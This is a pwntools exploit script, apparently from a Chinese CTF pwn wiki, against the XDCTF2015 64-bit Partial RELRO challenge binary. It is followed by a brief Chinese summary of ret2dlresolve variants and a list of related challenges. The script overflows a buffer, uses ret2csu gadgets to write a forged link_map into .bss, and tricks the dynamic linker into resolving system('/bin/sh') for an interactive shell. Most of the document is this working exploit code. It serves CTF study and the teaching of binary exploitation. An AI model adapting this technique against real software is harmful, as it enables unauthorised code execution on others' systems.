from pwn import *
# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
io = process("./main_partial_relro_64")
elf = ELF("./main_partial_relro_64")

bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637


def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += '\x00' * 0x38
return payload


def ret2dlresolve_with_fakelinkmap_x64(elf, fake_linkmap_addr, known_function_ptr, offset_of_two_addr):
'''
elf: is the ELF object

fake_linkmap_addr: the address of the fake linkmap

known_function_ptr: a already known pointer of the function, e.g., elf.got['__libc_start_main']

offset_of_two_addr: target_function_addr - *(known_function_ptr), where
target_function_addr is the function you want to execute

WARNING: assert *(known_function_ptr-8) & 0x0000030000000000 != 0 as ELF64_ST_VISIBILITY(o) = o & 0x3

WARNING: be careful that fake_linkmap is 0x100 bytes length

we will do _dl_runtime_resolve(linkmap,reloc_arg) where reloc_arg=0

linkmap:
0x00: l_addr = offset_of_two_addr
fake_DT_JMPREL entry, addr = fake_linkmap_addr + 0x8
0x08: 17, tag of the JMPREL
0x10: fake_linkmap_addr + 0x18, pointer of the fake JMPREL
fake_JMPREL, addr = fake_linkmap_addr + 0x18
0x18: p_r_offset, offset pointer to the resloved addr
0x20: r_info
0x28: append
resolved addr
0x30: r_offset
fake_DT_SYMTAB, addr = fake_linkmap_addr + 0x38
0x38: 6, tag of the DT_SYMTAB
0x40: known_function_ptr-8, p_fake_symbol_table
command that you want to execute for system
0x48: /bin/sh
P_DT_STRTAB, pointer for DT_STRTAB
0x68: fake a pointer, e.g., fake_linkmap_addr
p_DT_SYMTAB, pointer for fake_DT_SYMTAB
0x70: fake_linkmap_addr + 0x38
p_DT_JMPREL, pointer for fake_DT_JMPREL
0xf8: fake_linkmap_addr + 0x8
'''
plt0 = elf.get_section_by_name('.plt').header.sh_addr

linkmap = p64(offset_of_two_addr & (2**64 - 1))
linkmap += p64(17) + p64(fake_linkmap_addr + 0x18)
# here we set p_r_offset = fake_linkmap_addr + 0x30 - two_offset
# as void *const rel_addr = (void *)(l->l_addr + reloc->r_offset) and l->l_addr = offset_of_two_addr
linkmap += p64((fake_linkmap_addr + 0x30 - offset_of_two_addr)
& (2**64 - 1)) + p64(0x7) + p64(0)
linkmap += p64(0)
linkmap += p64(6) + p64(known_function_ptr-8)
linkmap += '/bin/sh\x00' # cmd offset 0x48
linkmap = linkmap.ljust(0x68, 'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, 'A')
linkmap += p64(fake_linkmap_addr + 8)

resolve_call = p64(plt0+6) + p64(fake_linkmap_addr) + p64(0)
return (linkmap, resolve_call)


io.recvuntil('Welcome to XDCTF2015~!\n')
gdb.attach(io)

fake_linkmap_addr = bss_addr+0x100

# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_partial_relro_64")
offset = 112+8
rop.raw(offset*'\x00')
libc = ELF('libc.so.6')
link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read'])
rop.raw(csu(0, 1, elf.got['read'], 0, fake_linkmap_addr, len(link_map)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
assert(len(rop.chain()) <= 256)
io.send(rop.chain())
# send linkmap
io.send(link_map)

rop = ROP("./main_partial_relro_64")
rop.raw(offset*'\x00')
#0x00000000004007a1: pop rsi; pop r15; ret;
rop.raw(0x00000000004007a1) # stack align 16 bytes
rop.raw(0)
rop.raw(0)
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(fake_linkmap_addr + 0x48)
rop.raw(resolve_call)
io.send(rop.chain())
io.interactive()

总结

修改 dynamic 节的内容 修改重定位表项的位置 伪造 linkmap
主要前提要求 无信息泄漏时需要 libc
适用情况 NO RELRO NO RELRO, Partial RELRO NO RELRO, Partial RELRO
注意点 确保版本检查通过;确保重定位位置可写;确保重定位表项、符号表、字符串表一一对应 确保重定位位置可写;需要着重伪造重定位表项、符号表;

总的来说,与 ret2dlresolve 攻击最为相关的一些动态节为

  • DT_JMPREL
  • DT_SYMTAB
  • DT_STRTAB
  • DT_VERSYM

题目

  • pwnable.kr unexploitable
  • pwnable.tw unexploitable
  • 0CTF 2018 babystack
  • 0CTF 2018 blackhole